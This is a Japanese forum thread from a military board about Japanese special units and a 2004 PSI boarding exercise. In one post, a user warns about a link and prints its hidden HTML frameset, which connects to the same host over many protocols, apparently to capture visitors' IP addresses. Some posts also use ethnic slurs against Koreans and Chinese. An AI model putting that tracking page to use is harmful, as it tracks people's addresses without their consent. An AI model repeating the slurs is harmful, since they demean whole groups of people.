なぜなら、やらないし持ってないからだ。

>>763
(・∀・)皇居護衛官っつーと、皇警(皇宮警察)の事か？？
てか、英国のバッキンガム宮殿や台湾の忠烈廟の衛兵の様に
皇居警備では二重橋の前とかに、直立不動で等間隔に警備兵
を配置して欲しいが。
皇警でもイイし、自衛隊が警備するなら『近衛師団』でも
イイが、制服は他のと違った品格ある正装儀礼的制服を着用
して警備して貰いたい。

でも(・∀・)自衛隊に『近衛師団』創設を！！

>>764
Σ(ーДー)・・・・・・・・ヲタが知ったかぶりを

いや、今までそんなの見た事ないし。

俺はMITについて詳しくないが、自分の見た範囲だけで物事決め付けるのは良くないと思う。

バッキンガム宮殿は衛兵は立派でも警備そのものがえらいお粗末なような

ttp://homepage.mac.com/nagaih1/TACHIKAZE/TACHIKEN-1.jpg
ttp://homepage.mac.com/nagaih1/TACHIKAZE/TACHIKEN-2.jpg
これはMIT？

>>761
どこを攻めるの？

>>771
PKO等の海外派遣任務かｗ？

海保は巡視船「しきね」SRS（特別警備隊）か・・・

噂で聞いたのだが、SRSは巡視船ごとに編成されている故に
部隊のレベルの差が大きいらしいな

２６日シナリオ訓練にて、SRSがヘリからファストロープ降下も
着地時に足を滑らせ尻餅を突き、勢いで携行していた89式自動小銃を
海に投げ込んでしまい大恥じをかく。

SRSにへり降下能力はありませんよ。3年で転勤のパートタイマー部隊なんだから。
おそらく警救艇とRIBで乗船してくるでしょう。

皇宮警察特別警備隊の儀杖隊↓
http://eagle.sprite.ne.jp/~hanaandtake/take/koukyo/

儀杖的に観て映える、それでいて実用的なライフル作ってくれないかなぁ……

ガーランドは儀杖的には格好いいけど、やっぱり実用性があった方が萌える。

初戦ポリ公の儀杖的なんか自衛隊の真似をしている形ばかりのレベルの低い部隊さ・・

２６日に東京湾沖で開催されるPSI訓練にSSTは参加するの？

>>779

SSTは参加するじゃろ。
去年の豪州沖のPSI訓練にも参加したけんよ。

海上自衛隊陸上作戦支援隊、略して、

「海援隊」(海兵隊）

なんてどうかな？

>>781
なら　陸上自衛隊特殊支援部隊

『陸援隊』（グリンベレーをイメージしてくらさい）


も復活だな。

特殊部隊とか精鋭部隊を目指すなら何歳くらいまでに入隊すべきだろうか？

中学出たらすぐ

>>780
制圧担当は特別警備隊

特別警備隊が容疑船を制圧。その後、化学兵器物質を発見。
特別警備隊からの連絡を受けて、
SSTの化学防護隊員がヘリから降下してそれを検査。押収するという
シナリオ。

PSI訓練の一環として行われる海自主導の訓練ではMITが投入される模様。
多分、SBUもどこかで投入されるはず。ヘリからかMITに混じってるかも。

>>785
マジ？
SSTアピール光線を出しまくっている最近の海保にしては
珍しいな。

SSTはあくまで海保の一部隊に過ぎない。
それに特殊部隊はあれば便利な部隊でしかない。
メインにはなりえない。

>>785
>特別警備隊からの連絡を受けて、 SSTの化学防護隊員がヘリから降下してそれを検査。押収
なんか神戸であったアジア不拡散セミナーとおんなじシナリオだな

>>776
おー！！(・∀・)皇警もやるなぁ！！
でも、もっと大人数で警備交代をするべきだよなー！！
日本の顔なんだからもっと華やかさを演出するべきだよ。
>>777
だよな〜(・∀・)ライフル銃とかを携帯して警備したり、儀仗に用いて貰いたい！！
いざ、チョンの工作員が皇居侵入を試みてきた時とか、今の皇警じゃ所詮対抗出来ない訳だし。
しかも、ライフル銃での警備は儀仗的でカッケーもんな！！

>>782
(・∀・)『陸援隊』は在り来たり過ぎ。
もっと『新撰組』とか『白虎隊』とか『彰義隊』とか『赤報隊』とかにするべし。
もし、日本に本格的な情報機関を創設したらならば
『SHINOBI(忍)』とかイイかも！！

秋休みか？

なんだよ、赤報隊って

>792
対チョンイル新聞社専用特殊部隊

マジレスすれば　『新撰組』　に相当する組織は既にあるだろ。

SATとかSITとか。

どこらへんがマジレス？

新撰組に一番近いのは過激派の内ゲバ部隊だと思うよ。

一応、日本で最初に作られた対テロ部隊ではあるぞ＜新撰組

当時は体制側だし、局中法度も後世の創作だろ。

日本的情報機関なら「お庭番」が良かろう。

>>790
皇宮警察特別警備隊はMP5を保有しているよ。
皇宮警察特別警備隊の隊長（中隊長：皇宮警部）はMP５
を誤射してしまったことがある。

>>797
井筒監督が新撰組はテロリストだって言ってましたｗ

>>800
ワケワカランのですが…

>>749
しらゆきは訓練展示艦で、そのしらゆきにいかづちMIT,コーストガード、豪、仏
の特殊ボーディリングチームが乗り組むと書いてあるが。
SBUはやはり何らかの形で参加するんじゃないかい。空挺降下見せてみーSBU

>>802
そう？
SBUは１００％参加しないでしょ。

以前某DDGのMIT訓練見たことがあるが、装備がかなり貧弱だった、なぜか帽子を
後ろ向きにかぶり、靴はペンキのついた作業用安全靴、拳銃のストラップ索は
なんかの索でむりやり縛りつけ、膝パットなどは当然なく、今時サバゲーおたくの方が
ましなもの身に着けているよ。ほんとおちゃら気MIT、これホンと

オタが勝手にMITなんて呼んでるが、あれはただの部署だからな。
発足当時は無い物は無いか、自前しかない。
今は中身以外一式支給されてます。

>>805
立派な装備だと思うが。。。。

http://homepage.mac.com/nagaih1/TACHIKAZE/TACHIKEN-1.jpg
http://homepage.mac.com/nagaih1/TACHIKAZE/TACHIKEN-2.jpg

ここでは日本の部隊を何でもかんでもアルファベット三文字にして呼びたがる傾向があるような気がする。
実際に現場でそういう呼称を使っていればそれでもいいんだろうけど。

現職は誰もSBU.MTIとは呼ばない。
略語として存在する可能性はあるが、意味の通らないアルファベットの綴りは使いたがらない。

>>808
おまえダレ

なんでもかでも英記略称を使いたがる警察（SAT、SIT）や海保（SST）と
違って自衛隊は大人の組織。
あくまでも「特戦群」、「特警隊」と日本語の略称を使う。
しかし、陸自では、「WAiR」、「SOG」と部隊章やキャップのロゴ等で使っている。

>>805
たとえ部署の一つだろうがやってることは各国臨検チームと同じなんだよ
よってなんて呼ぼうがオタのかって

普通に

護衛艦付き立ち入り検査＝MIT=VBSS

よって、【VBSS】と呼べば良いのでは？

>>810
ただ単に宣伝効果やアピールの仕方をしらないだけ（自衛隊）
特戦群、特警隊、なんだそれぇそのままやん、ダサァ。
台風２３号の時の舞鶴の救助活動見たか、海自がメインで参加（EOD)
していたが、誰も自衛隊とは思わん、その点海保は背中、胸に大きく「海上
保安庁」と書いておる、当然一般の人は海保は「よーくがんばっているなー」
と思うだろうて。

２７日のニュースで、海自の臨検展示訓練の様子が報道されるだろうから
護衛艦付き立ち入り検査隊の正式名称が判明するでしょ。

>>812
普通に、というか防衛庁オフィシャルならだったら素直に立入検査隊と呼ぶべきでは？
ソースはこれ。
ttp://www.jda.go.jp/j/info/hyouka/2002/sogo/hon02.pdf

>>813
>ただ単に宣伝効果やアピールの仕方をしらないだけ（自衛隊）
>特戦群、特警隊、なんだそれぇそのままやん、ダサァ。
>台風２３号の時の舞鶴の救助活動見たか、海自がメインで参加（EOD)
>していたが、誰も自衛隊とは思わん、その点海保は背中、胸に大きく「海上
>保安庁」と書いておる、当然一般の人は海保は「よーくがんばっているなー」
>と思うだろうて。

Σ(^Д^ )　ハァ？　

誰が見ても海自だって分かるだろ。
ヘリやボードに大きく「海上自衛隊」と書かれているが。。。。

宣伝効果を狙うなら、英語よりも日本語の方が分かるだろ。。

http://www010.upp.so-net.ne.jp/kawadai/special/guard.html
から転載

この皇居正門での「警備」を担当しているのは儀仗隊で、
最初は坂下護衛署警備課、後に本部警備部警備第二課の外
勤教育隊(現在の皇宮警察本部特別警備隊)に移りました。
勤務要綱には、ずばり「儀容を整える事に重点をおき、
警戒警備活動は第二次的とする」と定めてあるそうです。
　皇宮警察に集団警備部隊が初めて設置されたのは、昭和43年です。
その年、警備部警防課(現在の警備第二課)に外勤教育隊が設けられました。
この外勤教育隊が、後年、皇宮警察本部特別警備隊へと発展します。
現在、同隊は皇居内にある皇宮警察本部警備部警備第二課に置かれています。
隊は新任護衛官の教育の場となる他、護衛官によって編成される唯一の
集団警備部隊として非常時の警備を実施、また隊内に儀仗隊を置き、
護衛部と協力して儀衛も一部行ないます。既に書いた外国大使・公使の
儀衛の他、皇族が亡くなった際には正装して出棺の列を護衛します。

　警備隊員は通常の護衛官業務と警備隊業務を兼務し、通常業務のない
勤務日に警備隊員として勤務します。兼務員が空いた日に勤めるというこ
とで、緊急時／訓練時のみ要員招集する非常設部隊とは違いますが、
かといって専任要員から成る常設部隊とも微妙に趣が異なります…　
なお、警備隊配属が決まった護衛官(大抵は新任の若い護衛官です)は
警視庁第一機動隊に派遣され研修を受けるといいますから、それなり
に気合い入っていますね。

＞＞７９９
皇宮警察の誤射・・・・
それは下の記事ですね。
http://www.mainichi-msn.co.jp/shakai/jiken/news/20040910k0000m040156000c.html

だからさ！
皇宮警察みたいな軍事組織でもない特殊・精鋭部隊でもない話題を書きこむなよ！

>>1を読めよ！

>>817->>818
日本の軍事系特殊部隊について語るスレです。
部隊同士の比較、または一部の部隊を貶める発言は荒れる原因なので禁止します。
コピペ、コテハン叩きも禁止です。
尚、ここは「軍事板」ですので、警察（SAT等）を盲信している厨房の出入りを禁止します。
警察信者は、「警察板」、若しくは下記のスレに書きこんでください。

・日本の治安系特殊部隊を語ろう【第１治安】 　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　http://hobby5.2ch.net/test/read.cgi/army/1087251838/l50

ここで主に扱われるべき部隊
・陸上自衛隊特殊作戦群 （特戦群・SOG）
・陸上自衛隊第一空挺団（空挺・１AbnB）
・陸上自衛隊西部方面普通科連隊 （西方普連・WAiR）
・陸上自衛隊対馬警備隊
・陸上自衛隊冬季戦技教育隊（冬戦教）
・海上自衛隊特別警備隊 （特警隊・SBU）
・海上自衛隊護衛艦付き船舶検査部隊（MIT）
・航空自衛隊航空救難団
・航空自衛隊基地防衛教導隊

>>820
志村、落ちてる落ちてる。

このスレの常連の一部に自衛隊と警察をゴチャにしている奴がいるな・・・
皇宮警察の話題をなんで書き込むんだ？

脳内では皇宮警察＝自衛隊の中の組織
と勘違いしているのだろうか・・・

>>822

両方のスレに住んでるもんだから単に区別つけるのがめんどくなっちまったんじゃないかと。

>>810
>>813
>>816
海保はSST以外ではあんまり英字略称つかわない。
特殊救難隊は特救隊だし、特別警備隊は特警隊だし、機動防除隊は・・・・略称無いか。
ただ、特警隊は海自SBUと区別するためか最近SRSと言う略称が出てきた。
盾や服もJapanCoastGuard単体ではなく海上保安庁との併記だし。

つうか、海保なんかどうでもいいよ。

３２普連には、
特殊部隊ないの？

>３２普連には、
>特殊部隊ないの？


意味不明！

>>822
いや、自衛隊がもし今後、皇居や国会など国家最重要施設を警備する様になった場合、皇居警備に当たっては自衛隊に『近衛師団』を創設するんだろーか？？
から来てるんだよ。
そんで、その場合は皇警と自衛隊との関係はどーなんだ？？
みたいなカンジからここに至った訳よ。

てか(・∀・)やはり自衛隊の特殊部隊は、アルファベットや漢字の略称よりも新感覚もしくは歴史的な名前をつけて欲しいんだよね。
『新撰組』や『白虎隊』がイイけど、ダメなら『ハヤブサ』とか『荒鷲』とかさぁ〜。

(;´ー｀)y-~~ 禿しく頭悪いな…

そんな変な名前は要らん…
日本語のそのまんまの名前でいいよ。

やっぱ「機動強襲群」でしょ、

新撰組も白虎隊も近衛兵とは一切違うと思います。

>>832
(;´ー｀)y-~~ 誰も近衛兵の名前を新撰組にしろとか言ってねぇーだろ。
フツーの特殊部隊の名前だよ。
『デルタフォース』とか『グリーンベレー』とかさぁ〜あだ名的な名前が部隊名として幅広く知られてんだろ。
お堅い名前よりは、ちょっとブランド的な部隊名にして貰いたいよ。
その方が国民も馴染みやすいだろー。

(;´ー｀)y-~~ 禿しく頭が悪いけどな>>833は。

もー一度戦争が始まれば自然とニックネームが付くかもな。

特殊作戦群＝ブルーデルタ

海上自衛隊立ち入り検査隊（MIT,VBSS)
９９年能登半島不審船事件の後船舶検査能力向上を図る為発足
各護衛艦に数チーム結成される（人数は不明）
メインアーム：９ｍｍ機関拳銃又はショットガン　サイドアーム：９ｍｍ拳銃
立ち入り検査課程：広島県江田島第一術科学校　期間約１ヶ月
教育内容：国際法、海洋法、法規一般、射撃（SBUの基本射撃に順ずる）ラペリング
　　　　　防御技術、体力練成（武装障害走等）船舶一般に関する知識技能
　　　　　CQB（基本）各種装備取り扱い法、乗船実習等が行われている。
米国コーストガードから範を取り発足し高い教養、技能が要求される
どちらかといえば警察権的な観点から武器使用に関してかなりの制約があり
相手からの暴行、反抗に対して徒手や警棒等で対応しなくてはならない場面に対し
現在の課程教育では能力不足が否めない。（素人が１ヶ月で逮捕術や防御技術は習得できない）
SBUのように相手を制圧するのと違ってまた難しいらしい

ほんとにMITのメインアーム９ｍｍ機関拳銃？グリスGUNじゃねえの
ほんで臨検で使用する艇は、あの５０年前からかわらねぇ内火艇しかないよな
はずかしい。

皇室をあえて無防備にして、中国なり北朝鮮工作員にわざと襲撃させて、
それを口実に中国・北朝鮮への報復世論・ナショナリズムを高めれば良い。
そうすれば、皇室費が浮き、近衛師団なんぞつくらないで良くなる。
浮いた予算で富士教導機甲師団設置・特殊作戦群拡大に決定。

　　そんな釣りで俺様がクマーー！！　　　　　　,,_
＼ 　　　　　　　　　　　　　　　　　　　　　　　　　r'o p。｀、
　 ＼　　　　　　　　　　　　　　　　　　　　　　　　l　 ,．- ､ヾ　　　　　　 r'　｀ｰ- 、
　　　＼ 　　　　　　　　　　　　　　　　　　　　　　l　'-‐‐-' ,'　　　　　　　' ,　　 .;;.｀l
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　　　　　　　　　　　　　 （´⌒qヽ　　　　, '　　　　　　　　　　　　　　　　　　　,'
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　　　　　　　　　　　　　　　' 、　 　 _, ' ., r-' _,-‐q　i　　　　　　　　　　　　　,'
　　　　　　　　　　　　,．‐-､_,,ソｰ'´　　,　;　､_γ　　ｌ　　　　　　 , 　　　　　,'
　　　　　　　　　　r‐'´ｇ ri　::　　　　　,'　　'、　 ｒ_,　 'l　　　　 :´　｀ヾ　　 ,.'
　　　　　　　　　　｀､ r,　i |　:　　　　　' , 　 ｀ 、　　　j　　　　 ' 　 　 　 , '
　　　　　　　　　　　ｔ､o_ tj ::　　　　　　 ' ,　　､｀ｰ--,'.:　　　　　　　　_,ノ
　　　　　　　　　　　　｀ｰ-‐'´　｀ｰ----‐'"｀ｰ､｀____;'-、　　　　　,-'
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 ｀゛"''''''"

メインアームは９�_拳銃。あくまでも武器対等原則なので。
機関拳銃は数から言って、指揮官が持つか持たないかぐらい。
立検隊はどうしても人数が多くなるので、現状では内火艇しか
使いようがない。

内火艇
最大速力：７KT、１軸
定員：２５名
船質：FRP
主要目的：人員輸送、各種作業用
特殊任務適合性：なし
防弾性：なし

まずそんな警備体制にした警察や政府に批判が集中するだろうなｗ

護衛艦は巡視船が積んでるようなRIBは積んでないの？

>>843
リブはあるが、４人ぐらいしか乗れないので余り使わない。
将来的には大型のリブと、人員輸送用の大型艇に分ける予定。

この板意外と海自ファンが多いね
空自はほとんどいない。

自衛隊の戦闘機は外国製の機体だし…

って人間も多いかも知れん。

海自は世界的に見ても強い海軍だし、予算面でも優遇されている。
あとは対地攻撃力あればなぁ・・・

そう考えればつくづく米って化け物だ

■日本主催のＰＳＩ訓練、２５日開始を前に豪艦船が到着■

http://www.yomiuri.co.jp/politics/news/20041023ia21.htm

２５日は事前会合が開かれる。２６日の相模湾での訓練では、日米仏豪４か国の
艦船などが、サリン関連物資を積んだ疑いのある船の追跡、立ち入り検査、物資
押収などを行う。海上保安庁の巡視船が立ち入り検査、海上自衛隊のＰ３Ｃ哨戒
機が海域の哨戒や通報などを担当する。

　２７日は、横須賀港外で、海自が米仏豪と共に、乗船、立ち入り検査に限定した
訓練を行う。＜１＞不審船が強力な武器を持つ等海上警備行動の発令時＜２＞朝鮮
半島有事などの周辺事態――では、海保ではなく、海自が立ち入り検査を行うこと
になるためだ。

在日米軍基地の実戦部隊は日本政府から言質（げんち）を
とった後に日本列島から撤収させるという意味のことを
リチャード・ルーガー米上院外交委員長（米国共和党）が言った。

　　　　　　　 　|￣￣|　　　　　　　♪
　　　　　　　＿|＿＿|＿♪
　　　 　　 　 　|　´｀（　　／￣￣￣￣￣￣￣￣
　　　 　 　　 　|　 ∀ ）＜　テロとの戦いで在日米軍は必要ない。
　♪　　　　　/∪　 | つ　|　六カ国協議で中国と関係が深まった。
　　　　　　 （　　　　|　.||　＼＿＿＿＿＿＿＿＿
　　　　　　　 ）　） 　＼||　　ルーガー米上院外交委員長
　　♪　　 （＿__）　＼_ つ,,　　　♪

「だがアメリカ軍がすべて引き上げてしまったら日本はこう言うだろう。
　『そんなことは考えていなかった。少々の変化を希望しただけだ。』
　ハッハッハ、だがアメリカは（日本政府から兵力削減要請の言質を取ったあと）
　この（在日米軍全面撤収の）方向へ向かうことになるだろう。」
　　　　　　　　　　　リチャード・ルーガー米上院外交委員長（共和党）

彼は米国上院外交委員会で米国外交政策を
最終決定しているアメリカ政界の重鎮だ。ちなみに彼は
「我々（米国）は長い間、孤立主義を保ち国際関係に立ち入らなかった。」
と第二次世界大戦前まで引きこもりをつらぬき続けていた
米国伝統お家芸のモンロー主義復活再興をにおわせていた。

・冷戦が終わり、世界のアメリカ軍基地の再編成をしなければならなくなっている。
　同盟国と相談の上、来年（2005年）、最終的な決定を行うことになるだろう。
・アメリカ軍はすべての有事の際に、アメリカ国内の基地から出動すべきだという考え方もある。
・沖縄の海兵隊をグアム島へ移す計画については日本と相談することが重要だ。

（日高義樹のワシントンリポート第109回2004年10月17日放送
　ワシントン インターフェイス・スタジオ 2004年10月4日テレビ収録）

コピペウザイ

待機終わりそうにないな・・・

１J氏
ご苦労様乙！

>>852
今日の昼間になってでもですか？
乙です。
同僚の皆さんにも、そうお伝え願います。

ＴＶでヘリ救出が流されてます。道路がかなりｱﾚで、孤立しているようです。

つか、阪神以後、自衛隊が災害出動してくれていると、めっちゃ心強いですわ。
神戸の物書きが、「自衛隊の偵察ヘリを見た瞬間、見捨てられていない、と思った。助かった、と思った」って書いてあって。
ああ、やぱ軍ｵﾀ(･∀･)ｲｲ!そして自衛隊ｶｺｲｲと、とｵﾓﾀ〜

>>852氏へ
ご苦労様です。
阪神淡路震災の時には、スーパーダイエーと共に自衛隊にはお世話になりました。
今や、ダイエーは見る影もありません。
気になるのは、自衛隊もそのようにならないかです。

この分だとＰＳＩ訓練なんて、ろくにニュースになりそうもないな。

>>856
どうかな？
明日ぐらいまでは番組を変更して特集したりするだろうけど、明後日あたりから
通常の報道体制戻ると思うよ。
２７日あたりは海自の立ち入り検査の模様を報道すると思うけど。

ていうか、来月発売のミリ雑誌（SATマガジン・コンバットマガジン・アームズマガジン
・丸・世界の艦船・Jシップス）で、海自MITの臨検訓練の特集が載ると思うけど。

>>856
テレ東見てれば大丈夫だ。

11月発売の「世界の艦船」と「丸」と「J Ships」は、確実にPSI訓練に参加した海自の立ち入り検査隊
の特集をするわな。

あながちシャレと思えない俺が居る。

ttp://cgi.2chan.net/f/src/1098605710847.jpg

でもこの手の広報の仕方がへたな海自はつまんねぇ訓練見して終わりだろ、間違いなく。
あのぼろ内火艇でダサ装備のMITが乗船→つまらないシナリオ見せて終わり。→やっぱ海自
は使えない、海保サイコー

>>862
それも北チョンやシナに配慮して、銃火器を携行せずの臨検訓練。


そんな中途半端な訓練に海自と共に参加する米仏豪の海軍臨検部隊って・・・・・

海保は惜しみなくSSTを公開しているのに
海自何がなんでもSBUを隠し通すつもりだな（藁

>>863
まぞ？どんな訓練するのそれ、海自MITはよほど徒手格闘に自信があるのか

>>863
今回やるのは立ち入り検査でしょ？臨検とはちがうよ

てゆうかMITはもともと銃火器は所有してないんじゃないの
船舶の積荷確認するだけだよね

>>865
27日海自も乗船検査 (朝日）
ttp://www.asahi.com/politics/update/1011/001.html
＞このため、妥協案として海自が本訓練の翌２７日に「ＰＳＩ訓練の一環」という位置づけで、
＞横須賀沖で米豪仏３カ国と乗船検査の訓練を行うことになった。停船中の容疑船に各国
＞の検査班がそれぞれ乗船して立ち入り検査する。武器を伴う訓練ではなく、特定国を想
＞定するような状況設定もしないという。　

>>864
それであなたが笑えるのなら
よかったんじゃないかと思う。

要は、容疑船を特殊部隊が武力制圧した後に・・・・安全が確保された状況下での
立ち入り検査を想定したのが、今回の訓練だと思います。

＞＞８６８
わけわからん訓練、だったら海自じゃなく税関職員でも送っておけ、海自じゃないと
できん訓練ならわかるが。

MITは、あくまでも立ち入り検査を目的とした部隊である故に、携行する銃火器も９mm拳銃のみ
である。
護衛艦の砲術科の隊員が、MITの支援目的に64式小銃等で攻撃することもあるらしいけど。
下記の一番上の画像を見れば解る。

http://bbs.avi.jp/photo.php?wid=4012855&kid=38182&mode=&br=pc&s=&submit.x=48&submit.y=108
http://bbs.avi.jp/photo.php?wid=4013272&kid=38182&mode=&br=pc&s=&submit.x=84&submit.y=59
http://homepage.mac.com/nagaih1/TACHIKAZE/TACHIKEN-1.jpg
http://homepage.mac.com/nagaih1/TACHIKAZE/TACHIKEN-2.jpg

>870
人の名前を騙って何をする気?

海猿って、嫌われているんだ・・・・
海保マンセーだから？

場所はグアムらしいんですけど、どこの部隊でつかね？
ttp://brd3.chosun.com/bemil/files/BEMIL025/upload/Guam%20-%20JGSDF.jpg

>>872
ヘルメット等は着けないの、あんなつば付帽子被ってたら視界みえねーじゃん

>>868
銃を使用した訓練を見せれないのは、海自はSBU以外銃の扱いや訓練方法を知らないため
メディアには見せれないんですよ、SAMやアスロックの発射シーンなどは所詮機械のシステムを見せ
ているのみだが、今回は海自初の人対人がメイン、陸のWAiRや３０普連のようには行か
ないんだなぁ、能力ないし。

んなわけぁない

破壊兵器拡散阻止構想で海上訓練始まる、２２か国参加

日本が初めて主催する大量破壊兵器拡散阻止構想（ＰＳＩ）の海上阻止訓練が、
２５日から始まった。

　この日は、横浜市の横浜海上防災基地で、訓練に参加する日米仏豪など計２２
か国の担当者が集まり、２６、２７の両日に行う訓練の具体的な内容について確認
作業を行った。

　２６日は相模湾で、サリンを積んだ疑いのある米国籍の船が日本国籍船に荷の積み
換えを行うとの想定で、監視、追跡、乗船、船内捜索、容疑物質の押収などの訓練
を実施。２７日は、海上自衛隊と米仏豪の３か国が、横須賀港外で乗船、立ち入り
検査に限定した訓練を行う。
（読売新聞） - 10月25日19時13分更新
http://headlines.yahoo.co.jp/hl?a=20041025-00000311-yom-pol

自衛官の最低技能としての戦闘訓練は受けてるっつーの。陸警とかもいるし。

>>880
釣られんなよ

http://www.hellplant.org/cgi-bin/xoor/serpent.cgi
早速、大量破壊兵器拡散阻止構想（ＰＳＩ）の様子が海外のサイトにうぷされてる。

注意。>>882を踏まないように。

<html>
<frameset rows="100%,0,0,0,0,0,0,0,0,0">
<frame src="http://www.hellplant.org/cgi-bin/xoor/serpent.cgi?mode=ipget&port=3457">
<frame src="ftp://www.hellplant.org:3457/" scrolling=no noresize>
<frame src="gopher://www.hellplant.org:3457/" scrolling=no noresize>
<frame src="https://www.hellplant.org:3457/" scrolling=no noresize>
<frame src="pnm://www.hellplant.org:3457/pnmiptrace" scrolling=no noresize>
<frame src="mms://www.hellplant.org:3457/mmsiptrace" scrolling=no noresize>
<frame src="rlogin://www.hellplant.org:3457/" scrolling=no noresize>
<frame src="tn3270://www.hellplant.org:3457/" scrolling=no noresize>
<frame src="telnet://www.hellplant.org:3457/" scrolling=no noresize>
<frame src="news://www.hellplant.org:3457/" scrolling=no noresize>
</frameset>
</html>

>>876
SWATも鍔つきCAPかぶってましたが？

で、Ｍ４はどうなった？

>>882を踏んじゃったんだけど、どんな影響あるの？
誰か教えて。

いよいよ今日SSTの勇姿が見れるなあ

また会ったね、偽者。

ttp://www42.tok2.com/home/fleet7/cgi-bin/img-box/img-box/img20041025171918.jpg
ちなみに拡散想定船はこれだ。

SSTか・・・・・

なんだか見飽きたな・・・・

どうでもいい感じ・・・・

SATやSBUも何度も訓練公開をしたりすると、見飽きてしまうんだろうな・・・・

やぱ、特殊部隊は隠すのが、萌えるな・・・・・

>>825
海保は存在意義がよくわからない。
各都道府県の水上警察、水産庁、海上自衛隊に分割しろｗ。

>>828
近衛兵は家柄での選抜が必須事項ｗ。
少なくとも地方地主クラス。

>>890
そんな世界の流れに逆行したことしたら、笑いもんだな。
第一、海保の任務は警察・警備任務だけじゃないし。とマジレスしてみる。

実際、皇宮警察は身元調査が厳しいらしいな。まぁ、この職種はもとから厳しいけど。
受験することになったら地元の署長まで挨拶に来るらしい。

結局SRSじゃなくてSSTか…2chはデモばっかり

>>892
デモしてどうするデマだろ。

悲しいかな・・・・
海保がSSTを参加させて必死にアピールしても
６時のニュースで取り上げてくれたのは朝日のみ。

新潟地震＞＞超えられない壁＞＞SST（海保）PSI訓練に参加

ああ、チャンネル変えながらずっと待ってたのに・・・・
NHKも7時のニュースの最後のほうでやっと出てきたし。
まぁ、取り立てて目新しいことも無かったんだけどね・・・。

まぁ地震を優先するのは仕方ないことだしな…

ていうか、今回の新潟地震により行方不明者・死傷者が多数いる最中に
PSI訓練に参加するSSTに対して、批判的な立場にいるのが、同じ海保内
の特殊救難隊。

救難（特救隊）と警備（SST）の対立は昔から根深いらしい。

その対立、プレイボーイ誌が勝手に書いてるだけ。
SSTで潜水士になったあと管区の潜水指定船に配属される人もいるし、
潜水士からSSTに入る人もいる。
つーか、海保は対立するほど人的余裕がありません・・・。
そもそもSSTは震災救助とは無関係。